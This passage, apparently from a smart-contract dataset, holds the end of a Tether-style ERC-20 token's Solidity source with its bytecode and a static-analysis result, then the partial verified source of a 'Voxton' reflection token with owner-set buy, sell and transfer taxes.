setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); emit Params(basisPointsRate, maximumFee); } // Called when new token are mint event Mint(uint amount); // Called when tokens are burned event Burn(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101a65780630753c30c14610236578063095ea7b3146102795780630e136b19146102c65780630ecb93c0146102f557806318160ddd1461033857806323b872dd1461036357806326976e3f146103d057806327e235e314610427578063313ce5671461047e57806335390714146104a95780633eaaf86b146104d45780633f4ba83a146104ff57806342966c681461051657806359bf1abe146105435780635c6581651461059e5780635c975abb1461061557806370a08231146106445780638456cb591461069b578063893d20e8146106b25780638da5cb5b1461070957806395d89b4114610760578063a0712d68146107f0578063a9059cbb1461081d578063c0324c771461086a578063c3b2d337146108a1578063dd62ed3e146108cc578063dd644f7214610943578063e47d60601461096e578063e4997dc5146109c9578063e5b5019a14610a0c578063f2fde38b14610a37578063f3bdc22814610a7a575b600080fd5b3480156101b257600080fd5b506101bb610abd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fb5780820151818401526020810190506101e0565b50505050905090810190601f1680156102285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024257600080fd5b50610277600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b5b565b005b34801561028557600080fd5b506102c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c78565b005b3480156102d257600080fd5b506102db610dcb565b604051808215151515815260200191505060405180910390f35b34801561030157600080fd5b50610336600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dde565b005b34801561034457600080fd5b5061034d610ef7565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fdf565b005b3480156103dc57600080fd5b506103e56111c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043357600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ea565b6040518082815260200191505060405180910390f35b34801561048a57600080fd5b50610493611202565b6040518082815260200191505060405180910390f35b3480156104b557600080fd5b506104be611208565b6040518082815260200191505060405180910390f35b3480156104e057600080fd5b506104e961120e565b6040518082815260200191505060405180910390f35b34801561050b57600080fd5b50610514611214565b005b34801561052257600080fd5b50610541600480360381019080803590602001909291905050506112d2565b005b34801561054f57600080fd5b50610584600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611465565b604051808215151515815260200191505060405180910390f35b3480156105aa57600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114bb565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b5061062a6114e0565b604051808215151515815260200191505060405180910390f35b34801561065057600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b6040518082815260200191505060405180910390f35b3480156106a757600080fd5b506106b061161a565b005b3480156106be57600080fd5b506106c76116da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071557600080fd5b5061071e611703565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076c57600080fd5b50610775611728565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b557808201518184015260208101905061079a565b50505050905090810190601f1680156107e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107fc57600080fd5b5061081b600480360381019080803590602001909291905050506117c6565b005b34801561082957600080fd5b50610868600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119bd565b005b34801561087657600080fd5b5061089f6004803603810190808035906020019092919080359060200190929190505050611b6c565b005b3480156108ad57600080fd5b506108b6611c51565b6040518082815260200191505060405180910390f35b3480156108d857600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c5a565b6040518082815260200191505060405180910390f35b34801561094f57600080fd5b50610958611db7565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dbd565b604051808215151515815260200191505060405180910390f35b3480156109d557600080fd5b50610a0a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddd565b005b348015610a1857600080fd5b50610a21611ef6565b6040518082815260200191505060405180910390f35b348015610a4357600080fd5b50610a78600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1a565b005b348015610a8657600080fd5b50610abb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fef565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b535780601f10610b2857610100808354040283529160200191610b53565b820191906000526020600020905b815481529060010190602001808311610b3657829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb657600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c9057600080fd5b600a60149054906101000a900460ff1615610dbb57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d9e57600080fd5b505af1158015610db2573d6000803e3d6000fd5b50505050610dc6565b610dc58383612173565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3957600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fd657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f9457600080fd5b505af1158015610fa8573d6000803e3d6000fd5b505050506040513d6020811015610fbe57600080fd5b81019080805190602001909291905050509050610fdc565b60015490505b90565b600060149054906101000a900460ff16151515610ffb57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561105457600080fd5b600a60149054906101000a900460ff16156111b357600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561119657600080fd5b505af11580156111aa573d6000803e3d6000fd5b505050506111bf565b6111be838383612310565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126f57600080fd5b600060149054906101000a900460ff16151561128a57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561132d57600080fd5b806001541015151561133e57600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113ad57600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561160957600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156115c757600080fd5b505af11580156115db573d6000803e3d6000fd5b505050506040513d60208110156115f157600080fd5b81019080805190602001909291905050509050611615565b611612826127b7565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167557600080fd5b600060149054906101000a900460ff1615151561169157600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117be5780601f10611793576101008083540402835291602001916117be565b820191906000526020600020905b8154815290600101906020018083116117a157829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182157600080fd5b600154816001540111151561183557600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561190557600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507f07883703ed0e86588a40d76551c92f8a4b329e3bf19765e0e6749473c1a84665816040518082815260200191505060405180910390a150565b600060149054906101000a900460ff161515156119d957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a3257600080fd5b600a60149054906101000a900460ff1615611b5d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611b4057600080fd5b505af1158015611b54573d6000803e3d6000fd5b50505050611b68565b611b678282612800565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc757600080fd5b601482101515611bd657600080fd5b603281101515611be557600080fd5b81600381905550611c04600954600a0a82612b6890919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b64e8d4a5100081565b6000600a60149054906101000a900460ff1615611da457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d6257600080fd5b505af1158015611d76573d6000803e3d6000fd5b505050506040513d6020811015611d8c57600080fd5b81019080805190602001909291905050509050611db1565b611dae8383612ba3565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3857600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fec57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204c57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156120a457600080fd5b6120ad826114f3565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561218b57600080fd5b6000821415801561221957506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15151561222557600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b600080600060606004810160003690501015151561232d57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506123d56127106123c760035488612b6890919063ffffffff16565b612c2a90919063ffffffff16565b92506004548311156123e75760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8410156124a3576124228585612c4590919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124b68386612c4590919063ffffffff16565b915061250a85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4590919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259f82600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5e90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156127495761265e83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5e90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060406004810160003690501015151561281b57600080fd5b61284461271061283660035487612b6890919063ffffffff16565b612c2a90919063ffffffff16565b92506004548311156128565760045492505b6128698385612c4590919063ffffffff16565b91506128bd84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061295282600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5e90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612afc57612a1183600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5e90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b7d5760009150612b9c565b8284029050828482811515612b8e57fe5b04141515612b9857fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612c3857fe5b0490508091505092915050565b6000828211151515612c5357fe5b818303905092915050565b6000808284019050838110151515612c7257fe5b80915050929150505600a165627a7a7230582016371d9a22f93dde9573bd54dc35aceed06621c51812f340cfa1d747e12c46b00029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,136
0x1febacca90b7d8ce501a6042fa6e4128fa64d129
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ // SPDX-License-Identifier: NOLICENSE pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract Voxton is Context, IERC20, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBot; address[] private _excluded; bool public tradingEnabled; bool public swapEnabled; bool private swapping; IRouter public router; address public pair; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1 * 10**12 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public swapTokensAtAmount = 10_000_000 * 10**_decimals; address public marketingAddress = 0x7c1e26f5940Bc15Ca9b27A7Dea30d7E830c67cAE; string private constant _name = "Voxton"; string private constant _symbol = "VOTX"; struct Taxes { uint256 rfi; uint256 marketing; uint256 liquidity; } Taxes public buyTax = Taxes(0,8,2); Taxes public sellTax = Taxes(5,0,0); Taxes public transferTax = Taxes(0,0,1); Taxes private taxes = transferTax; struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; } TotFeesPaidStruct public totFeesPaid; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; } event FeesChanged(); event UpdatedRouter(address oldRouter, address newRouter); modifier lockTheSwap { swapping = true; _; swapping = false; } constructor (address routerAddress) { IRouter _router = IRouter(routerAddress); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludeFromReward(pair); _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingAddress]=true; emit Transfer(address(0), owner(), _tTotal); } //std ERC20: function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } //override ERC20: function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function setTradingStatus(bool state) external onlyOwner{ tradingEnabled = state; swapEnabled = state; } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } //@dev kept original RFI naming -> "reward" as in reflection function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setBuyTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner { buyTax.rfi = _rfi; buyTax.marketing = _marketing; buyTax.liquidity = _liquidity; emit FeesChanged(); } function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner { sellTax.rfi = _rfi; sellTax.marketing = _marketing; sellTax.liquidity = _liquidity; emit FeesChanged(); } function setTransferTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner { transferTax.rfi = _rfi; transferTax.marketing = _marketing; transferTax.liquidity = _liquidity; emit FeesChanged(); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal -=rRfi; totFeesPaid.rfi +=tRfi; } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { totFeesPaid.liquidity +=tLiquidity; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tLiquidity; } _rOwned[address(this)] +=rLiquidity; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { totFeesPaid.marketing +=tMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tMarketing; } _rOwned[address(this)] +=rMarketing; } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount*taxes.rfi/100; s.tMarketing = tAmount*taxes.marketing/100; s.tLiquidity = tAmount*taxes.liquidity/100; s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity; return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity) { rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0); } rRfi = 